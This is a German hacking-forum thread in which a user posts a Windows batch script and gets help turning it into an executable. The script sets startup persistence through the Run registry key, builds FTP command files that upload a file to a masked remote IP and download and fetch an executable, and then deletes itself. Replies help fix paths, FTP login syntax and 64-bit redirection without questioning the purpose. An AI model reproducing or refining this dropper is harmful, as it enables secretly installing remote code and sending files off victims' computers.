myGully.com Boerse.SH - BOERSE.AM - BOERSE.IO - BOERSE.IM Boerse.BZ .TO Nachfolger
Zurück   myGully.com > Computer & Technik > Programmierung
Seite neu laden

Bat 2 Exe

Willkommen

myGully

Links

Forum

 
Antwort
Themen-Optionen Ansicht
Ungelesen 05.01.11, 14:39   #1
bl4cksh4rk
Anfänger
 
Registriert seit: Aug 2009
Beiträge: 4
Bedankt: 0
bl4cksh4rk ist noch neu hier! | 0 Respekt Punkte
Standard Bat 2 Exe

Hallo Leute,

ich hoffe Ihr könnt mir helfen. Habe schon eine Reihe Programme durch aber keines konnte mich zufrieden stellen. Hier erstmal meine Bat:

Code:
@echo off
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Mein_Prog" /d "C:\testdatei1.exe"
echo open XXX.XXX.XXX.XXX>>"C:\dll.scr"
echo USER>>"C:\dll.scr"
echo PASS>>"C:\dll.scr"
echo BINARY>>"C:\dll.scr"
echo put "EINE DATEI" "EINE DATEI">>"C:\dll.scr"
echo get "EINE ANDERE DATEI" "EINE ANDERE DATEI">>"C:\dll.scr"
echo quit>>"C:\dll.scr"

echo open XXX.XXX.XXX.XXX>>"C:\install.scr"
echo USER>>"C:\install.scr"
echo PASS>>"C:\install.scr"
echo BINARY>>"C:\install.scr"
echo get "testdatei1.exe" "testdatei1.exe">>"C:\install.scr"
echo quit>>"C:\install.scr"
ftp -v -i -s:install.scr
del "C:\install.scr"
del meinebat.bat
Er schreibt mir zwar die dll.scr und lädt auch die testdatei1.exe aber er tut das nicht in C:\ sonsdern einfach in dem verzeichniss wo die ausgeführte .exe gerade liegt. bsp.: sie liegt in C:\Downloads dann schreibt das prog die dll.scr+testdatei1.exe in C:\Downloads und das ist nicht der Sinn.

Ich hoffe Ihr könnt mir helfen
bl4cksh4rk ist offline   Mit Zitat antworten
Ungelesen 05.01.11, 21:55   #2
tha_specializt
`
 
Registriert seit: Nov 2010
Ort: Zuhause
Beiträge: 142
Bedankt: 37
tha_specializt ist noch neu hier! | 0 Respekt Punkte
Standard

ein "cd" vor dem Beschreiben der Datei könnte helfen
tha_specializt ist offline   Mit Zitat antworten
Ungelesen 05.01.11, 22:30   #3
Lyteryl
der Andere
 
Benutzerbild von Lyteryl
 
Registriert seit: Apr 2010
Beiträge: 105
Bedankt: 79
Lyteryl ist noch neu hier! | 0 Respekt Punkte
Standard

Die Datei schon mal als Administrator ausgeführt.
Außerdem musst du die Pfadangaben nicht in Klammern setzten - glaub ich.
Lyteryl ist offline   Mit Zitat antworten
Ungelesen 06.01.11, 09:48   #4
Benni1000
Echter Freak
 
Registriert seit: Aug 2009
Beiträge: 2.074
Bedankt: 319
Benni1000 leckt gerne myGully Deckel in der Kanalisation! | 1905267 Respekt PunkteBenni1000 leckt gerne myGully Deckel in der Kanalisation! | 1905267 Respekt PunkteBenni1000 leckt gerne myGully Deckel in der Kanalisation! | 1905267 Respekt PunkteBenni1000 leckt gerne myGully Deckel in der Kanalisation! | 1905267 Respekt PunkteBenni1000 leckt gerne myGully Deckel in der Kanalisation! | 1905267 Respekt PunkteBenni1000 leckt gerne myGully Deckel in der Kanalisation! | 1905267 Respekt PunkteBenni1000 leckt gerne myGully Deckel in der Kanalisation! | 1905267 Respekt PunkteBenni1000 leckt gerne myGully Deckel in der Kanalisation! | 1905267 Respekt PunkteBenni1000 leckt gerne myGully Deckel in der Kanalisation! | 1905267 Respekt PunkteBenni1000 leckt gerne myGully Deckel in der Kanalisation! | 1905267 Respekt PunkteBenni1000 leckt gerne myGully Deckel in der Kanalisation! | 1905267 Respekt Punkte
Standard

echo USER>>"C:\install.scr"
echo PASS>>"C:\install.scr"
Das wird so nicht gehen!
Ich habe vor kurzem ein ftp Upload-S***** geschrieben.
Und habe Festgestellt das das einloggen so sein muss:
echo USER deinusername deinpassword>>"C:\install.scr"
Benni1000 ist offline   Mit Zitat antworten
Ungelesen 06.01.11, 18:38   #5
bl4cksh4rk
Anfänger
 
Registriert seit: Aug 2009
Beiträge: 4
Bedankt: 0
bl4cksh4rk ist noch neu hier! | 0 Respekt Punkte
Standard

Zitat:
Zitat von tha_specializt Beitrag anzeigen
ein "cd" vor dem Beschreiben der Datei könnte helfen
Scheinbar stehe ich mir gerade auf dem Schlauch. Wo muss ich ein CD einfügen?

Zitat:
Zitat von Lyteryl Beitrag anzeigen
Die Datei schon mal als Administrator ausgeführt.
Außerdem musst du die Pfadangaben nicht in Klammern setzten - glaub ich.
Als Admin führe ich es sowieso aus . Ich habe die Anführungszeichen weg gelsen. Jetzt bin ich schonmal einenSchritt weiter. Danke

Zitat:
Zitat von Benni1000 Beitrag anzeigen
echo USER>>"C:\install.scr"
echo PASS>>"C:\install.scr"
Das wird so nicht gehen!
Ich habe vor kurzem ein ftp Upload-S***** geschrieben.
Und habe Festgestellt das das einloggen so sein muss:
echo USER deinusername deinpassword>>"C:\install.scr"
Also das FTP S***** läuft bei mir so wie es oben ist.

Ich habs jetzt soweit hinbekommen aber seltsamerweise ändert das S***** in der Exe den Ordner um, sprich statt "System32" benutzt er jetzt "SysWOW64". Auch beim Registry-Eintrag da nimmt er "WOW6432NODE". In der .bat ist alles wie ich es auch eingetragen hab "System32" halt. Weiß jemand woran das liegt?
bl4cksh4rk ist offline   Mit Zitat antworten
Ungelesen 06.01.11, 19:07   #6
haze303
xor eax, eax
 
Benutzerbild von haze303
 
Registriert seit: Sep 2009
Beiträge: 593
Bedankt: 466
haze303 ist noch neu hier! | 1 Respekt Punkte
Standard

Zitat:
Zitat von bl4cksh4rk Beitrag anzeigen

Ich habs jetzt soweit hinbekommen aber seltsamerweise ändert das S***** in der Exe den Ordner um, sprich statt "System32" benutzt er jetzt "SysWOW64". Auch beim Registry-Eintrag da nimmt er "WOW6432NODE". In der .bat ist alles wie ich es auch eingetragen hab "System32" halt. Weiß jemand woran das liegt?
Zitat:
Zitat von wikipedia
Das WOW64-Subsystem berücksichtigt auch andere wichtige Aspekte für die Ausführung von 32-Bit-Anwendungen. Das betrifft unter anderem die Verwaltung von Zugriffen auf die Windows-Registrierungsdatenbank (siehe HKEY_LOCAL_MACHINE\Software\WOW6432Node) sowie auf das Dateisystem, welche in den 64-Bit-Versionen von Windows geringfügige Unterschiede aufweisen.

Zwecks Rückwärts-Kompatibilität nutzt das Betriebssystem das %SystemRoot%\system32-Verzeichnis für seine 64-Bit-Komponenten. Bei der Ausführung von 32-Bit-Anwendungen werden Zugriffe auf Bibliotheken aus diesem Verzeichnis nach %SystemRoot%\SysWOW64 umgeleitet, wo sich die entsprechenden 32-Bit-Versionen befinden.
[ Link nur für registrierte Mitglieder sichtbar. Bitte einloggen oder neu registrieren ]

Viele Grüße,
haze303
__________________
Desktop: Arch Linux | Laptop: Arch Linux
VM: Windows 7, Windows XP, Fedora 14, Arch, Windows Server 2008 R2 Enterprise
haze303 ist offline   Mit Zitat antworten
Ungelesen 07.01.11, 07:08   #7
germgerm
bla
 
Registriert seit: Mar 2010
Beiträge: 312
Bedankt: 302
germgerm ist noch neu hier! | 0 Respekt Punkte
Standard

Zitat:
Zitat von bl4cksh4rk Beitrag anzeigen
Scheinbar stehe ich mir gerade auf dem Schlauch. Wo muss ich ein CD einfügen?
Ganz am Anfang.

Code:
cd c:\workingdir
germgerm ist offline   Mit Zitat antworten
Ungelesen 07.01.11, 10:49   #8
bl4cksh4rk
Anfänger
 
Registriert seit: Aug 2009
Beiträge: 4
Bedankt: 0
bl4cksh4rk ist noch neu hier! | 0 Respekt Punkte
Standard

@Haze: Danke!

@GermGerm: Hab's jetzt hinbekommen
bl4cksh4rk ist offline   Mit Zitat antworten
Antwort


Forumregeln
Du kannst keine neue Themen eröffnen
Du kannst keine Antworten verfassen
Du kannst keine Anhänge posten
Du kannst nicht deine Beiträge editieren

BB code is An
Smileys sind An.
[IMG] Code ist An.
HTML-Code ist Aus.

Gehe zu


Alle Zeitangaben in WEZ +1. Es ist jetzt 12:59 Uhr.


Sitemap

().